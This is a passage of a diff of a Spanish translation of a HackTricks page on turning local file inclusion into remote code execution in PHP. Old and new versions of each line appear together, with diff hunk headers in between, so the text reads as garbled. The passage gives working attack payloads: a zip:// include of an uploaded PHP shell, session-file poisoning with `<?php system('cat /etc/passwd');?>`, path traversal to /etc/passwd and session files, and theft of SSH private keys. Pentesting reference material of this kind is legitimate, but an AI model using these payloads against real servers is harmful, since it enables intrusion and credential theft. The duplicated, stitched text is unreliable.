Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf.
### A través de la carga de archivos Zip
### A través de la carga de archivos ZIP
Cargue un archivo ZIP que contenga una shell PHP comprimida y acceda:
Cargue un archivo ZIP que contenga una shell PHP comprimida y acceda a ella:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -501,46 +541,76 @@ Verifique si el sitio web utiliza sesiones PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
En PHP, estas sesiones se almacenan en archivos `_/var/lib/php5/sess\_[PHPSESSID]_`
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Establezca la cookie en `<?php system('cat /etc/passwd');?>`
Establezca la cookie como `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Utilice LFI para incluir el archivo de sesión PHP.
# Inclusión de archivos PHP de sesión utilizando LFI
La inclusión de archivos locales (LFI, por sus siglas en inglés) es una vulnerabilidad común en aplicaciones web que permite a un atacante incluir archivos arbitrarios en el servidor. Una forma común de explotar esta vulnerabilidad es incluir el archivo de sesión PHP para obtener acceso a la sesión de un usuario.
## Paso 1: Identificar la vulnerabilidad LFI
El primer paso es identificar si la aplicación web es vulnerable a la inclusión de archivos locales. Esto se puede hacer enviando una solicitud HTTP con una ruta de archivo maliciosa en los parámetros de la URL. Por ejemplo:
```
http://example.com/page.php?file=../../../etc/passwd
```
Si la aplicación muestra el contenido del archivo `/etc/passwd`, es probable que sea vulnerable a la inclusión de archivos locales.
## Paso 2: Incluir el archivo de sesión PHP
Una vez que se ha identificado la vulnerabilidad LFI, el siguiente paso es incluir el archivo de sesión PHP. El archivo de sesión suele tener una extensión como `.php` o `.sess`. Puede intentar incluirlo utilizando una ruta relativa o absoluta, dependiendo de cómo esté configurada la aplicación.
Por ejemplo, si la ruta del archivo de sesión es `/var/www/sessions/session.php`, puede intentar incluirlo de la siguiente manera:
```
http://example.com/page.php?file=../../../var/www/sessions/session.php
```
Si la inclusión es exitosa, el código PHP del archivo de sesión se ejecutará y tendrá acceso a la sesión del usuario.
## Paso 3: Explotar la sesión de usuario
Una vez que se ha incluido el archivo de sesión PHP, puede aprovechar la sesión del usuario para realizar acciones maliciosas. Esto puede incluir robar información confidencial, modificar datos o realizar acciones en nombre del usuario.
Es importante tener en cuenta que la explotación de la inclusión de archivos locales puede ser ilegal y debe realizarse solo con permiso explícito del propietario del sistema.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### A través de ssh
Si ssh está activo, comprueba qué usuario se está utilizando (/proc/self/status y /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id\_rsa**
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status y /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id\_rsa**
### A través de los registros de vsftpd
### A través de los registros de **vsftpd**
Los registros de este servidor FTP se almacenan en _**/var/log/vsftpd.log.**_ Si tienes una LFI y puedes acceder a un servidor vsftpd expuesto, puedes intentar iniciar sesión estableciendo la carga útil de PHP en el nombre de usuario y luego acceder a los registros usando LFI.
Los registros de este servidor FTP se almacenan en _**/var/log/vsftpd.log**_. Si tienes una LFI y puedes acceder a un servidor vsftpd expuesto, puedes intentar iniciar sesión estableciendo la carga útil de PHP en el nombre de usuario y luego acceder a los registros utilizando la LFI.
### A través de filtros php (no se necesita archivo)
### A través de filtros de php (sin necesidad de un archivo)
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
Este [**documento**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros de php para generar contenido arbitrario** como salida. Básicamente, esto significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
### A través de fallo de segmentación
### A través de una falla de segmentación
**Carga** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **fallo de segmentación**, y luego el **archivo temporal no se eliminará** y puedes buscarlo.
**Carga** un archivo que se almacenará de forma **temporal** en `/tmp`, luego en la **misma solicitud**, provoca una **falla de segmentación**, y luego el **archivo temporal no se eliminará** y podrás buscarlo.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### A través del almacenamiento de archivos temporales de Nginx
### A través del almacenamiento temporal de archivos de Nginx
Si encontraste una **Inclusión Local de Archivos** y **Nginx** se está ejecutando delante de PHP, es posible que puedas obtener RCE con la siguiente técnica:
Si encontraste una **Inclusión Local de Archivos** y **Nginx** se está ejecutando frente a PHP, es posible que puedas obtener RCE con la siguiente técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
@ -548,7 +618,7 @@ Si encontraste una **Inclusión Local de Archivos** y **Nginx** se está ejecuta
### A través de PHP\_SESSION\_UPLOAD\_PROGRESS
Si encontraste una **Inclusión Local de Archivos** incluso si **no tienes una sesión** y `session.auto_start` está `Off`. Si proporcionas **`PHP_SESSION_UPLOAD_PROGRESS`** en los datos **multipart POST**, PHP **habilitará la sesión para ti**. Puedes abusar de esto para obtener RCE:
Si encontraste una **Inclusión Local de Archivos**, incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas **`PHP_SESSION_UPLOAD_PROGRESS`** en los datos **multipart POST**, PHP **habilitará la sesión por ti**. Puedes abusar de esto para obtener RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
@ -572,7 +642,7 @@ Si encontraste una **Inclusión Local de Archivos** y un archivo que expone **ph
### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de ruta
Si encontraste una **Inclusión Local de Archivos** y puedes **filtrar la ruta** del archivo temporal PERO el **servidor** está **comprobando** si el **archivo que se va a incluir tiene marcas PHP**, puedes intentar **burlar esa comprobación** con esta **condición de carrera**:
Si encontraste una **Inclusión Local de Archivos** y puedes **filtrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **burlar esa verificación** con esta **Condición de Carrera**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
@ -580,18 +650,18 @@ Si encontraste una **Inclusión Local de Archivos** y puedes **filtrar la ruta**
### A través de espera eterna + fuerza bruta
Si puedes abusar de LFI para **cargar archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, entonces podrías **forzar nombres de archivo durante horas** para encontrar el archivo temporal:
Si puedes abusar de la LFI para **cargar archivos temporales** y hacer que el servidor **bloquee** la ejecución de PHP, luego puedes **realizar fuerza bruta de nombres de archivo durante horas** para encontrar el archivo temporal:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### Hasta el error fatal
### Hasta el Error Fatal
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para lanzar ese error).
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para generar ese error).
**No sé cómo es útil esto, pero podría serlo.**\
_Incluso si causas un error fatal de PHP, los archivos temporales de PHP cargados se eliminan._
_Incluso si causa un Error Fatal de PHP, los archivos temporales cargados de PHP se eliminan._
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
@ -600,15 +670,15 @@ _Incluso si causas un error fatal de PHP, los archivos temporales de PHP cargado
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
🐞 Lee tutoriales de errores web3
🐞 Lee tutoriales sobre errores web3
🔔 Recibe notificaciones sobre nuevos errores de recompensa
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
💬 Participa en discusiones comunitarias
@ -616,10 +686,8 @@ _Incluso si causas un error fatal de PHP, los archivos temporales de PHP cargado
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).